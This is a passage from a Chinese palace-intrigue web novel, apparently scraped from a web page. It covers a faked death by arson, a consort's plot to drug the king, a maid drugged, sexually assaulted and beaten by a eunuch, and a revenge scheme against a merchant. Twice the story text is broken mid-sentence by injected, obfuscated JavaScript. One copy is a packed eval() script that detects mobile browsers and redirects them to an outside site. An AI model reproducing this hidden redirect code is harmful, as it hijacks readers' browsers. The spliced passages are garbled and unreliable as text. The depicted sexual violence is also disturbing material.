街道两侧邻里都被这场大火惊醒,大家帮忙着救火,大约忙活了快两个多时辰,这场大火才最终扑灭,但此时白氏药铺早已经被烧得连渣都不剩。 一男人从另一侧小跑了出来,脸色惨白,支支吾吾的指着那里,说道:“那里似乎被烧焦了一个人,死状异常恐怖。” “烧死人了?” 众人一脸吃惊。“不会是白大夫吧?” “白大夫,多好的一个人啊,居然被活活的烧死,真是可怜。”一妇人感伤道。 “可不是嘛,这么好的人,居然会是这种结局。” 大家你一言我一语的,整条街道沉浸在悲伤之中。 ...... “少宫主,果真和你料想的一样,昨夜有两名杀手潜入药铺本想杀了你,见杀你不成便放火烧了整座药铺。”红袖感叹少宫主料事如神。 雪微摇头,和往常一样继续给花草浇水,似乎对此事早就了如指掌,“沈雨菲,这么多年了,你还是和以前一样,做事如此的心狠手辣。” “凡是知道你秘密的人,怕是都会惨死在你的手中吧。” 红袖看着少宫主沉默不语,心里自然也明白,少宫主昨日从宫里回来之后便派她暗中找了一具和少宫主身型相似的女尸,然后把这具女尸藏在了药铺药房暗格下的柜子里,待天色已黑,大约丑时,有两名黑衣人果然和少宫主事先料想的一样,闯进了药铺。 红袖看着这两名黑衣人在药铺里翻箱倒柜,不知再找什么东西,然后他们又来到了药铺背后的卧室,对着床上的人偶刺入了几剑,发觉白冉不在,自己好像受骗了,便放火烧了药铺。 红袖眼见他们离开后,才从密室走了出来,把女尸拖到了床榻上并点火趁机烧毁了整座药铺。 “既然要烧那就直接让白冉这个身份在这个世上消失了吧。”少宫主这招金蝉脱壳用的甚好,如今白冉已死,自然不会再有人怀疑到少宫主的头上。 一大早,白氏药铺着火白冉被烧死的事情传到了淑宁的耳中,她听到白冉被烧死之后整个人都感到不太好,“怎么会这样呢?” “不是明明和她说过了,沈雨菲这个人做事心狠手辣,不管知道了什么都要装作不知道吗?” “公主。” 宛心见淑宁神色有异,担心道:“生死有命,公主要注意自己的身体,不要太过于伤心了。” “你知道什么?”淑宁怒道:“出去,都出去。” 如今她的双腿都是由白冉专门诊治的,现在白冉已死,那她的腿...... 淑宁想了想,就算再换一个大夫,谁又能够保证这个大夫和白冉的医术一样的好呢? “沈雨菲,你就是故意和本宫过不去,你给本宫下毒,让本宫身体瘫痪,现如今又掐断本宫独立行走的希望,本宫发誓,定和你势不两立。” 她抬头,眼神之中毫无波澜:“白冉妹妹,你就好好安息吧,本宫一定会替你报仇的。” 重华宫,沈雨菲听到白氏药铺发生大火,白冉被烧死之事,心里轻松了不少,如今知道她发现了王上在送给她的龙涎香里放有麝香一事的人已死,她吃饭都多吃了两口。 “宇文渊,你如此对待本宫,就不要怪本宫心狠了。” 想到宇文渊,想到自己此身无法拥有自己的孩子,沈雨菲心里就觉得难受,“宇文渊,造成今日这一切的源头都是因为你,是你害得本宫今生丧失了做母亲的资格,本宫恨你。” 她找到国师并从国师那里拿到了忘魂散,“宇文渊,你说本宫该拿你怎么办呢?”她看着手中白色的瓷瓶,笑得越发的张狂,“本宫会把你牢牢的控制在手中,从今以后,唯本宫命令是从。” “王上现在在哪里?” 小桃说道:“王上现在在宣政殿。” “宣政殿。”沈雨菲嘴角上扬,眼神清冷:“替本宫梳妆吧。” 她头戴凤冠,肌肤看起来光滑细腻,一身艳红色的华丽长袍上用金丝线绣着各种精美绝伦的飞鸟,在阳光底下闪闪发光。 “王上,这是臣妾亲手熬制的银耳雪梨羹,最近您国事繁忙,已经有半个多月没有去臣妾宫里了。”沈雨菲打开食盒,从里面端出银耳雪梨羹,递到宇文渊的面前。 宇文渊看了眼沈雨菲手上端着的那碗银耳雪梨羹,笑着说道:“爱妃辛苦了,孤眼下正忙,你先把这放在一旁,等孤忙完了再喝吧。” 沈雨菲点了点头,又把银耳雪梨羹放进了食盒里,试探性问道:“既然王上国事繁忙,那臣妾先退下了?” “好。”宇文渊随口道:“等忙完这周,孤就去爱妃宫里。” 沈雨菲淡淡的看了一眼宇文渊,只见他正埋头在批阅奏章,便无趣的退了下去,内心微怒道:“早知道宇文渊根本就没有抬头看本宫,本宫何必白费了两个多时辰画了这副妆容。” 宣政殿,宇文渊看着沈雨菲送过来的银耳雪梨羹有些好奇,“今日太阳打西边出来了,她平日里从不进厨房的人,怎么今日突然有兴致进了厨房,还做出了这道银耳雪梨羹。” 看这卖相不像是一个初次进入厨房的人做出来的东西。 宇文渊心里感到疑惑不解,看了眼福贵,“福贵,沈贵妃最近都在干些什么,和哪些人接触?” 每一个妃子的宫里,他都安排了细作每日进行监督,为的就是掌握这些妃子日常的言行举止。 福贵说:“贵妃娘娘最近从民间找来了一个医女,只知道贵妃娘娘屏退了所有的人,但不知道她们二人在屋里讲了些什么?” “从民间找来的医女?”宇文渊犯愁,“她身体要是不舒服为何不找太医院的大夫,而要从民间专门找大夫进宫,难道是知道了孤在龙涎香里加入了麝香?” 宇文渊问道:“那位民间的大夫现如今人在哪里?把她找来,孤要问她话。” 福贵低头:“王上,那位大夫死了。” “死了?”宇文渊心里觉得异常奇怪,怎么会死了呢?“她是怎么死的?” 福贵说:“听说是夜晚起身时打翻了烛台,被活活的烧死了。” 宇文渊叹息感慨道:“既然死了,那就算了吧。” 他看着那碗银耳雪梨羹,心里总是觉得膈应,怎么会这么巧,白日里刚进宫给沈雨菲诊断,夜间就遭遇火灾被烧死了,这天底下真的有这么巧的事情吗? 宇文渊不禁思索道:“福贵,取银针来。”孤倒要看看你到底想做些什么? “是。”福贵点头哈腰,从一旁的柜子上取出银针递给宇文渊。 银针入碗后,再拿起来,宇文渊看了看,“没毒。” “难道是孤真的多想了吗?那位民间大夫的死也许和沈雨菲一点关系都没有?” 福贵见宇文渊转身又回到了书桌旁坐了下去,他看着这碗沈雨菲送过来的银耳雪梨羹不知怎么办,于是问道:“王上,娘娘送过来的银耳雪梨羹,王上还喝吗?” “不喝了,赐给你吧。” 福贵心里叹了口气,看来贵妃娘娘真是白费功夫了,他跟随在宇文渊身边已久,从刚才宇文渊一系列的举动,福贵自然知道王上对贵妃娘娘起了疑心。 “王上该不会怀疑这碗汤,有毒吧?”他看着银耳雪梨羹,又把它放回了食盒里。 宫中入口的食物都要十分的小心谨慎,稍不注意,就会吃出大问题,这一点,福贵作为老人自然是明白的。 如今宇文渊身处高位,他身边想要他死的人简直太多了,防不胜防。福贵摇头,看来王上也不是那么好当的。他转身便吩咐子平把食盒拿了下去。 小桃见子平提着食盒从宣政殿走了出来,她跟随着子平路过一处拐角之时,叫住了子平,装作什么都不知道的模样问道:“子平,你手里提着什么好东西,给我瞧瞧?” “我的小祖宗,这可不能给你瞧瞧,这可是贵妃娘娘亲手给王上煮的银耳雪梨羹。”子平转头一想:“对了,你不是一直跟在贵妃娘娘身边吗?难道不知道今日贵妃娘娘亲手给王上煮了银耳雪梨羹?” “知道,我当然知道。”小桃瞄了眼食盒,“只不过娘娘不让我们看,所以我才这么好奇嘛。” “从来都没见过娘娘这么用心,为了煮上这碗羹汤,竟然足足花费了一晚上的功夫。” “一晚上?”子平无比感慨万千:“想不到贵妃娘娘对王上居然如此用心。” “是呀是呀。”小桃附和道:“子平,你就给我看看吧,就一眼就好。”她满眼期待的看着子平,看得子平面色发烫,腼腆的点了点头。 “没动?”小桃打开食盒,面色骤变,然后又快速的合上盖子,对着子平笑道:“今日之事多谢子平了。” “一点小事,不足挂齿。”子平傻傻的笑着看着小桃远去的背影,越看越着迷。 “一口都没动?”小桃回到重华宫,把此事告诉了沈雨菲,沈雨菲感到恼火,“宇文渊,本宫竟然没有想到你对本宫的防备之心如此之重。” 她心想:“还好今日本宫没有在那碗羹汤里面动手脚,要不然今日怕是要交代在这里了。” 她侧头看着小桃问道:“福贵身边跟着一个叫子平的小太监平日里跟你的关系不是很好吗?” 小桃感到惭愧的低下了头,低声说:“娘娘,其实也不是很好,奴婢接近他只不过是为了问他点事情,仅此而已。” “没有别的了?”沈雨菲试探问道:“比如,你喜欢他又或者他喜欢上你了?” 小桃吓得连忙跪下,瑟瑟发抖道:“娘娘,奴婢和子平绝无可能,他是个太监......” “太监怎么了?”沈雨菲笑道:“小桃,在这宫里不管是宫女还是太监,都要努力的往上爬,这么好的机会放在你的眼前,你可要好好把握,知道了吗?” 她安抚了一下小桃的肩膀:“本宫生则你生,本宫死则你死,小桃,你应该知道该怎么选择了吧。” 小桃忐忑不安的点了点头。 “找个时间,你把子平带过来给本宫瞧瞧。” “是,娘娘。” ...... “贵妃娘娘安好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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子平回到屋里只见小桃穿着一身红色的嫁衣,脸色潮红正羞答答睡眼迷糊的看着他,看上去似乎有些不对劲,子平轻声喊道:“小桃。” 小桃应了声,身体半躺在床榻上,“小桃,你怎么了?” 子平眼见这种情况,心里大概明白了,小桃一直迷迷糊糊半睡半醒,估计是被人给下药了,至于下药之人,他不用想自然也明白。 “可是贵妃娘娘说小桃不是自愿嫁给我的吗?”子平心想道:“难道小桃不愿意?” 他看着小桃娇羞的睡姿看了许久,从刚才无法掩饰的喜悦到现在眼神变得凌厉起来,自从他成为太监以后,就一直过着被人瞧不起的生活,现如今,他终于可以像一个正常男子一般娶妻了。 只是他真的是个正常的男人吗?不,他不是男人,他是个太监...... 子平内心十分割裂,看着睡颜下微醺的小桃,他的内心越是扭曲不堪。 他像个正常男人般的抚摸着小桃的脸颊,触碰之后又弹起,软绵绵的,不知过了多久,剧烈的疼痛让小桃从半睡半醒之中清醒了过来。 她尖叫道,似乎被眼前的景象吓晕了过去,“变态,你简直就是个变态......” 她瞪大眼睛,眼眸之中充满了恐惧的看着子平,想不到子平温和的外表之下居然是如此下作之人。 “你走开,你不要靠近我......”小桃心里觉得无比的恶心。 “小桃,贵妃娘娘已经把你赏赐给我了,从今以后,你就是我的媳妇了。”子平嘴角上扬,心中的得意依旧掩饰不掉如此扭曲的身心。 “不,我不同意......”她慌乱之中随手找了件破布披在了自己的身上,“你不是个男人,你是个太监......” “太监......” 小桃的话成功的激起了子平内心的隐痛,“是啊,我是个太监。” 他伸出右腿绊到了正准备出逃的小桃,扯着她的头发,“我是个太监,不是个男人。” 他看着小桃瑟瑟发抖的身体,以及地上被他撕碎的衣服,疯狂的笑道:“过了今晚,你就是我的女人了,你想去哪里?” “太监怎么可能娶妻呢?”小桃呐喊声中伴随着阵阵哭声:“我怎么能嫁给太监呢?” “子平,子平,求求你,我求求你,放过我吧。”小桃双膝跪地对着子平使劲的磕头,“是我错了,我不该说你是太监的,对不起,是我的错。” “你说的没错,何错之有。”子平露出狰狞的面容:“我就是个太监。” “不过。”他仔细打量着小桃,狠狠的摁着她的脑袋,坏笑道:“不过我是不会放过你的,你可是我好不容易得来的媳妇。” “太监没有了那个东西,怎么可以娶妻生子呢?”小桃口无遮拦。 “娶妻生子......” 听到娶妻生子这几个字,子平脸色更加难看了,他对着小桃踹了两脚,“叫你嘲讽爷,我叫你嘲笑爷。” 小桃被踢的连连叫饶,身上青一块紫一块的,浑身上下都是伤口,她双手抱着头,心里充满了恨意。 “娘娘,奴婢跟随您有十几年了,没有功劳也有苦劳,您怎么能这么对奴婢呢?” “把奴婢赐给这样的变态,受此等折磨。” 不知踢了多久,直到小桃彻底晕厥过去,醒来之后,却发现自己身上穿着衣服完好的躺在床榻上,一旁的子平则抱着她,把头狠狠的埋进了她的脖子里。 泪水滑落到了小桃的脖颈处,嘴里细语道:“对不起,小桃,我不是故意的,昨日我也不知自己怎么了。” “对不起,昨日你打我的时候可曾想过这些?”小桃双眼无神的看着床顶,泪水从她的眼角滑落。 他紧握着小桃的双手,语态温和道:“如今,你已经是我的媳妇了,我会对你好的。” 50. 合谋 自从在锦绣坊遇见小月,雪微心里就明白了,此事绝不像小月表面上说的一样,她出现在锦绣坊绝不是偶然。 她派红袖把小月这两年的经历调查了一遍,被情人抛弃是真,被卖入青楼也是真,只不过江南一代离京城至少也有几千公里路程,雪微不相信一个女子会千里迢迢的孤身一人前往京城。 后来才发现这一切都是她自导自演,故意让自己出现在雪微的面前。 这段时间,雪微用心观察着小月,看着小月忙里忙外的,比刚开始遇见她的时候成熟了许多,一个娇生惯养的公主能够做到如此地步,想必也是受了许多的磨难吧。 “你看着我做什么?”小月见雪微看着自己,有些束手束脚,“我是做错了什么?” “做错?”雪微恍惚之中忽然觉得有些吃惊,一个公主到底是受了怎么样的折磨才会变成如今这样,瞻前顾后,甚至开始在乎旁人的眼光。 “不,你什么都没做错。”雪微感慨道:“我只是觉得你变了,变得和以前完全不一样了。” 小月放下刚铺好的药材,勉强挤出一点笑容:“两年,足以改变许多事。” “王妃,我早已经不是以前那个高高在上的月华公主了,我现在是您的婢女,既然是婢女就应该有婢女的样子,要不然会引起旁人怀疑的。” “小月,你真的是从江南孤身一人来到京城的吗?” 昨日看到红袖递出的资料,资料上显示小月与孟家大夫人发生冲突,被孟老夫人暗中卖给了人牙子,至于后面发生了什么,小月又为何会流落青楼?这就无从所知。 “不是。”小月回答得很干脆,既然被问了,本也不打算继续瞒着雪微:“七杀殿的情报不是很厉害吗?想必此刻我的信息早就已经握在王妃你的手上了吧。” 她抬头正好对上了雪微的目光,四目相对:“王妃难道想逐我出府?” 小月冷哼一声,来的时候就想得很清楚了,毕竟自己和雪儿只有一面之缘,她不一定肯帮自己吧,所以她才把自己说得可怜些,好博取她的同情。 “不。” 与各种人打交道这么多年,雪微从小月的眼神中早就已经看了出来,她的眸底充满了怨恨与失望:“我并不是想逐你出府,只是我不知道怎么帮你。” 她把手中查到的资料和小月说道:“孟云舟此人风流成性,他与你在一起的时候,家中早已经娶了妻室,你只不过是他的十三房妾室而已,按道理来说,你目前应该不算是自由之身。” “你早就看出来了?”小月低头冷笑一番,“我以为我伪装得很好呢?结果还是被你看了出来。” 她心里泛起酸楚,想起这两年的经历,依旧触目惊心:“我杀了人牙子,从人牙子的手里拿回了卖身契。” “几个月前,我害大夫人流产,被顾老夫人迷晕卖给了人牙子,待我醒来的时候,就发现自己已经躺在马车上,听说他们要把我送往漠北,你知道的,我不能回到漠北,不能让我的父王母后知道我如今成了这幅模样。” “我趁他们放松之际,给他们的水中下了我们漠北的迷药,然后用你送给我的这把匕首抹了他们的脖子。” 小月说起这些之时,看起来一脸轻松,但雪微知道这一路走来并不轻松。 “我杀了他们之后,无处可去,便想到你还在京城,于是便驾着马车准备来京城投奔于你,我来过庆安王府,但是他们把我当疯子一样的驱逐了出去。” 小月讽刺笑道:“为了生存,我把我自己卖进了锦绣坊,想着只要在京城多待上一天,总有机会遇见你,因为我需要你替我报仇。” “你拿走了我的身份,理应替我完成一件事,不是吗?”小月看着雪微,这个女人虽然与她只有一面之缘,但相处久了却觉得有种亲切感,就连她自己也说不上来。 “你想要我帮你做什么?”雪微低头笑了笑,她果真还是和以前一样,性子爽快。 “我要灭了孟云舟。” “好。” 雪微说:“杀人还不简单,我可以帮你杀了他。” “不,我并不想要他死。”小月看着雪微,眼神也变得犀利了许多:“我要让孟云舟失去所有,妻离子散,流落街头,只有这样才能解我心头之恨。” “可以,你想怎么样都可以。”一直飞鸟从雪微的眼前飞过,她顿时想出了一计:“我可以帮你伪造身份,让你成为锦绣坊的花魁,帮你重新进入孟府。” 二人相视一笑,似乎相识了很久,彼此都了解对方的心意。 ...... “孟兄,今日,锦绣坊来了一位新的花魁,听说能歌善舞,简直是个妙人儿。”吴奎色欲熏心,脑中已经在幻想着这位花魁的风姿,他看着一脸愁容的孟云舟,问道:“孟兄,我们要不要前去看看?” 二人对酒当歌,醉眼朦胧,孟云舟今日心情十分不佳,“吴兄,今日多谢你陪我醉酒一场,家里最近发生太多事了,我就不去了。” “哎,孟兄,不就是一个小妾嘛,走了就走了吧,你又何必在意呢?大不了再娶一个。”他给孟云舟斟酒道:“孟兄,你好不容易才来京城一趟,如今一饱眼福的机会可是就在眼前,你真的不想见见这位花魁吗?” “听说锦绣坊的花魁可是艳绝天下的美人,每隔三年才出一位,怎么如今才过两年就又出现了呢?”吴奎眯着眼看了看孟云舟,感慨道:“肯定是孟兄你洪福齐天,你看你刚来到京城,锦绣坊就又出现了一个花魁。” 二人你一言我一语,正说的热烈,此时隔壁的包间里雪微与小月二人正好把这二人的对话听得明明白白。 “这个吴奎是吴太师家的庶子,虽然他只是个庶子,但是他的亲娘可是京城有名的贵妾,听说是替圣上当过一箭,救了圣上一命。” 小月用手指戳了一个洞,从洞里静静地朝孟云舟望去。 “别看他老实巴交,其实背地里却是个赌徒,据我所知,他还欠逍遥楼两千多两赌债,京城之中也就孟云舟和他搅和到一起。” 雪微继续说道:“孟云舟之所以和他交好,主要也是为了想通过他和吴太师攀上关系,好让太师照顾下自家的生意,你也知道,吴太师的老家是安阳郡。” 她看了眼小月盯着孟云舟那双满载着恨意的眼神,恨不得立刻把他生吞活剥了,雪微轻轻拍了拍小月的肩膀,安抚道:“你放心,我已经让那两千多两赌债利滚利已经滚到了五千多两,想必这个吴奎眼下心里必然是不好受,他一定会来找我们的,我们等着看就好了。” 小月点了点头,心中大致了解了一番之后便离开了。 二人喝得正兴奋之时,耳边突然传来一阵琴音,吴奎正听的如醉如痴之时,孟云舟突然站起身来,摇摇晃晃的朝着琴音方向走去。 吴奎指着孟云舟,醉笑道:“就知道孟兄你肯定忍不住。”他放下酒杯,也站起身来,今日好不容易赶上了,我定要一见,看看这次的花魁是不是如同传说中的一般。 人还未到,满堂空气之中早已经飘散着淡淡的甜香,醉眼微醺,使人更加的沉沦。 “来了......来了......” 只见满堂桃花四处飘散,一袭白衣从空中划过,缓缓落到舞台正中央。 “仙女......仙女......”吴奎看呆了,他拽了拽孟云舟,大声道:“孟兄,你看到了吗?简直是仙女下凡。” “华儿,是你回来了吗?”看着台上之人似曾相识,孟云舟恍惚之中觉得自己似乎在做梦,梦到华儿回到了自己的身边,“是我对不起你。” “我也不知道,等我回来的时候,母亲跟我说你走了,回漠北去了。” 孟云舟情绪激动的往楼下跑去,“华儿,没想到有生之年我居然还能够见到你。” 吴奎看着孟云舟激动的神情傻了眼,“孟兄,您可真是口是心非啊。”他摇了摇头,笑了笑,也是,这样的美人谁不喜欢,他朝台上继续看了两眼之后便追随着孟云舟去了。 “孟兄,你别走那么快,你等等我。” “华儿还在等着我,华儿还在等着我......”孟云舟嘴里嘀咕着。 “华儿?华儿是谁?”吴奎心里觉得好奇,难道孟兄心里的女子是那个叫华儿的女人?可是这个华儿又在哪里呢?他仔细回想了会,总觉得有些不对劲,似乎在哪里听到过此人,印象之中总是有些熟悉。 “华儿?”对了,孟兄的十三房妾室好像就叫华儿,是和孟兄在漠北的时候认识的,但那名妾室不是自己忍受不了就回漠北去了吗? “可怜的孟兄,被那个女子深深的抛弃了心里居然还想着她,真是一片痴心啊。”吴奎看着孟云舟的背影,顿时觉得有些可怜,他叹了口气,再次抬头朝着台上看去。 隐隐约约之中总觉得孟云舟的目光落在了那名名叫潇潇的花魁上,他的那双眼神看起来似乎很痴情。 “难不成,孟兄把潇潇看成了华儿?”吴奎心里想了想,孟兄刚才喝了大量的酒,目前应该处于醉酒的状态,肯定是把人给看错了。 他看了眼周围众人,然后悄无声息的走过去,扶助孟云舟颤颤巍巍的身子,“孟兄,你醉了,我们先回去吧。” “不,我不回去,我的华儿还在这里。” “华儿......”孟云舟说话的声音有些大,被周围人听到了,一脸鄙夷的看着醉酒的孟云舟嘲笑道:“什么花儿,这位可是锦绣坊的潇潇姑娘,一点眼力劲都没有。” “对不起......对不起......打扰了......”吴奎觉得丢脸死了,这是他第一次干这种丢脸的事,“孟兄,孟兄,我们还是赶紧回去吧。” 吴奎心里总有种不好的预感,觉得如果再待下去,不知道孟云舟今日会做出什么出格的事情来,眼下看来,只能先回去,等他酒醒再说,免得在这里撒酒疯。 “回去......” “不......我不回去......” “我的华儿还在这里呢?我怎么能回去呢?”孟云舟甩开吴奎搀扶着的双手,“你不要碰我,华儿......华儿......” “我来了。”他朝着舞台飞奔而去。 “好热......”他解开衣领,脱掉了上衣,“华儿,我在这里。” “登徒子,哪里来的登徒子。” 姑娘们慌里慌张的朝着四周跑开,小厮们见状,操着家伙把孟云舟围了起来拳打脚踢的。 “华儿......”孟云舟被踢晕了过去,小厮们把孟云舟架了起来,拖出了锦绣坊,“姑娘心善,叫我把你赶出来,下次要是再让我遇见了你,就不止是把你丢出来这么简单了。” “回去吧。” 围观的百姓见孟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892872|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云舟浑身光着膀子被人从锦绣坊正大光明的扔了出来,纷纷对着他指指点点的。 吴奎站在人堆里,脸色极为羞愧,心里叹道:“孟兄啊,你怎么就不能克制一下自己的欲望呢?” 他头戴脸巾,走了过去把孟云舟从锦绣坊门口拽走了。 一边走心里还在一边嘀咕:“孟兄,我这辈子的脸都被你给丢光了,你可要好好帮我做事啊。” 另一侧,小月在二楼见吴奎把孟云舟带走之后,转身便离开了锦绣坊回到了庆安王府。 说实话,今日再次见到孟云舟并把他猛打一顿,小月心里总算是舒了口气,“我怎么会迷晕了头,看上这么个懦弱无能的男人。” 她回想起以前和孟云舟在一起甜蜜的画面,突然觉得无比的恶心。 “今日之事进行的可还顺利?”雪微从小月的神情大概就可以猜测到孟云舟今日肯定没有好果子吃。 “顺利,当然顺利。”小月露出欣慰已久的笑容说道:“我把他猛打了一顿,这几天,他怕是起不了身了。” 雪微淡淡一笑,“我还以为你再次见到孟云舟之后会克制不住自己的情绪,忍不住上前去救他呢?毕竟女人见到自己心爱的男人被打,总是会心软。” “怎么会呢?”小月看着雪微,沉思片刻道:“要是放在两年前,也许我会吧。” “毕竟我是公主,从小大家都围着我转,孟云舟是第一个敢当众反驳我的人,从见到他的第一眼我就已经被他深深的吸引了,你知道吗?雪儿,我从未见到过这样的男人,他居然胆敢挑衅我。” 回想起以前,小月突然神色一变:“自从我追随他回到安阳,突然发现他在安阳早已经娶妻生子了,还有十几个妾室,而我是他的第十三房妾室,雪儿,你知道这种突然知道自己被骗的心情吗?” “那你当时知道自己受骗,就没有想过回到漠北吗?”雪微问道。 “我当然想回去,可惜,孟云舟他居然把我给绑了起来,他把我关在一个黑漆漆的屋子里关了一个多月,直到我答应他不离开,才把我从里面放了出来。” “每日每夜的缠着我与我做运动,直到我怀上他的孩子为止。”小月越说越激动:“我怎么可能会生下他的孩子,因此每当我怀有身孕的时候,我总会刻意的摔倒,直到孩子被摔没了。” “你知道我为此付出了多大的代价吗?”小月转身看着雪微,“我这辈子可能永远无法拥有自己的孩子了。” 她咬牙切齿道:“这一切,都是拜孟云舟所赐,所以我恨他,恨不得把他剥皮抽筋都不足以偿还这些年我所受的这些折磨。” 说到这些,小月沉默了许久,五个小时前,小月派丫鬟给孟云舟送了一壶酒,那酒名为醉仙,喝完之后会让人飘飘欲仙,浑身燥热难以忍受。 所以当孟云舟见到和华儿长得相似的小月的时候,便抑制不住内心的欲望,想着向小月扑来。 而这一切正好落入了小月专门为孟云舟设置好的陷阱里。 “我什么时候会再次回到孟府?”小月问道,她的内心深处早已经急不可待。 “不急。” “吴奎找孟云舟来京城就是为了让孟云舟替他解决这次的两千两赌债。”雪微淡定自如道:“等他们知道两千两变成了五千两,你猜猜看,他们会怎么样?” “五千两......” 小月惊讶过后喜笑道,“这可是孟府好几个月的利润。” “看来孟云舟此次怕是要破大财了。” “孟云舟不仅会破财,吴奎此人也不是那么好打发的,他只会死死的缠住孟云舟,因为孟云舟就是吴奎的钱袋子。”雪微稍微点破一番。 “等到孟云舟四处碰壁之时......” 小月笑着说道:“我们就趁机收购掉他在京城苦心经营的那些产业,对吗?” 雪微点点头:“你不是说过,想亲眼见到孟云舟倾家荡产吗?”她拿出五千两递给小月道:“这就是吴奎欠逍遥楼的五千两银子,到时候,你可以用它对孟氏酒楼进行低价收购。” 小月看着雪微递过来的五千两银票,内心尤为激动,她只不过是随口一提,没想到,雪儿居然把她的话放在了心上,这种被人重视的感觉,小月内心深处非常的感动。 从小父王母后也是十分的爱护她,但父王他还有别的孩子,他对其他的孩子也是非常的不错,小月自小并没有觉得自己有多么的被人重视,直到现在,她终于体会到了一把被人放在心里的这种感觉。 怎么说呢?很温暖,感动得不知说些什么。 “我真的可以吗?”小月从未经过商,也不懂什么收购,她突然对自己有点没有自信,心里质疑自己是否真的能够做好这些。 “当然,你可以的。”雪微把装着银票木盒塞到小月的手中,“放心,到时候我会派红袖过去盯着的。” “你可要好好加油,这五千两银票就当是我的股钱了。” 小月点了点头,“雪儿,你就放心吧,我一定不会让你亏本的。” “好,我还等着看你如何让孟云舟倾家荡产,妻离子散,流落街头呢?”雪微淡淡一笑,便离开了望月亭。 今日的日头正好,院子里的花草也绽放得十分的艳丽。 小月抱紧装着五千两银票的木盒,心里暗自发誓,一定要好好干,不能让雪儿亏本。 51. 吃醋 “少主,属下已经查出王妃的身份了,王妃是宁王的小女儿。”子昂刚得知这个消息的时候有些震惊,少主与宁王之间可是隔着血仇,如今他仇人的女儿就在眼前,这该如何是好? “是告诉还是不告诉?”子昂在门口徘徊了许久,不管结局最后怎样,少主应该有权知道真相。 十一听到这个消息的时候,沉默了许久,其实他早就已经猜得差不多了,但是内心的执念让他还是想印证一番。 “确定吗?” 子昂点头:“确定。” 他又继续说道:“当年宁王府有一婢女名叫兰心,兰心有一个女儿和林雪微年纪相差不大,于是就把这两个人互换了。” “也就是说兰心用自己的女儿换了林雪微?”十一苦笑。 “是。”子昂点头。 虽然刚听到这个消息的时候,子昂也觉得很荒唐,哪有母亲会如此心狠,用自己的亲生女儿去顶替别人的女儿赴死。 但当此事摆在他眼前的时候,却不由得他不信,那个叫兰心的婢女确实用自己的女儿顶替了林雪微,然后被活活的烧死了。 幽暗的光线透过窗户照射到十一的身上,整个屋内除了窗户外的树叶随风飘动,没有一丝旁的声音。 “本王记得以前派你去查王妃的身份,你总是查不到一丝蛛丝马迹,怎么这次居然查得这么快,难不成这背后有人帮你?”十一觉得此事有些过于蹊跷,以前怎么查都查不出来,这次倒好,不到一周,消息自动送上门来了。 子昂点头,少主果真是厉害,想问题的方式都比旁人多一层思考:“确实是有一名神秘人给属下送了一封信,信中的内容大概就是说王妃就是宁王的小女儿。” “信呢?”十一问道。 “属下看完了那封信之后,信就自动燃烧了。”子昂低头,要是当时知道看完信后信会自动燃烧,那就应该直接把信交给少主的,他像个犯了错的孩子似的,不敢直视十一的双眼。 “燃烧了?” “信自动燃烧,看来这个神秘人是怕信落到旁人的手中,留下把柄知道他是谁。”十一嘴角上扬,“想必王妃也许跟这个神秘人认识。” “认识?”子昂心里犯疑:“既然是熟人,那为什么要告诉我们王妃的身份?” 他快速的在脑中过了一遍:“难道神秘人想要我们自相残杀?” “谁说不是呢?”十一说。 子昂意识到自己错得太离谱了,差点就诬陷了王妃,道歉道:“对不起,都是属下把事情办砸了。” “放心吧,此事本王已经知道了,你先下去吧。” “是。” “看来这个黑衣人跟林雪微之间似乎有深仇大恨,要不然为何会冒着被人发现的风险,铤而走险的把此事告诉我呢?”十一心里想了想:“难不成,他知道了我与宁王之间的血海深仇,所以想借我的手杀了林雪微?” “雪微,我该拿你怎么办?” 他想起小的时候在街上碰到的穿着粉色衣服的小女孩,那个时候他刚从王宫里逃脱出来,身上无一分银钱,就在他为了躲避官兵假扮乞丐沿街乞讨的时候,一个小女孩朝着他的碗里放了一笼包子。 为了避免让人发现,小女孩还在包子里放了一些碎银。 那个时候,十一发誓,等日后自己复国成功之后,一定会把这个小女孩找出来,让她做自己的王后。 转眼十几年过去了,十一差点都已经遗忘了此事,直到十一再次看见了那枚雕刻着云纹的平安扣再次出现在十一的眼前。 “林雪微......”对,他听到了林江是这么叫她的,从那个时候起,他就已经知道了她的身份。 “不管我们之间有什么仇恨,我都不在乎。” “你的父亲害死了我的父母,我要你用你的下半生来弥补我的下半辈子,这样也就公平了。” 他浑身紧绷,脑中每每浮现出林江拥抱着林雪微的身影,心里就嫉妒的发狂,身心的驱使让他不自主的朝着望月轩走来。 “阿姐,这些药材我都已经包好了。”林江麻利的按照分量包好一包药材,他知道雪微心善,小的时候经常跟随着雪微一起去给城中的流民发放食物。 “包好了,先放在那里吧。” 小月此时正好端着一壶茶和一盘点心从厨房走了出来,平日里这些药材基本上都是由芷兰和慧心两个丫鬟在做,今日林江来了刚好碰见了芷兰和慧心二人正好在打包药材,于是便加入其中,三两下就把剩余的药材打包好了。 动作麻利,干活利索,小月见了都不免称赞。 “林公子,先吃点茶水和点心。”她把茶水和点心放在桌子上,随手又给林江倒了一杯。 “小月,不用这么麻烦了,阿姐这里我经常来,你这样,我反倒觉得有些不自在了。”林江爽朗笑道。 小月低下头,脸颊绯红,转头看向一旁排列整整齐齐的包好的药材说道:“王妃心善,今日这几十包药材都是送往城中流民的。” “最近换季,也不知怎么了,这段时间,城外涌入城内的流民数量增加了好几倍,这些人生活困苦,无家可归,眼下又有部分流民身染风寒,王妃心想着给他们配置一些治愈风寒的药材。” 林江点了点头:“阿姐就是心善,我小的时候总是跟随在她的身后,经常陪着她去给城中的百姓分发食物。” 林江想着小时候与雪微的那些快乐的日子,脸上不自觉地笑了笑。 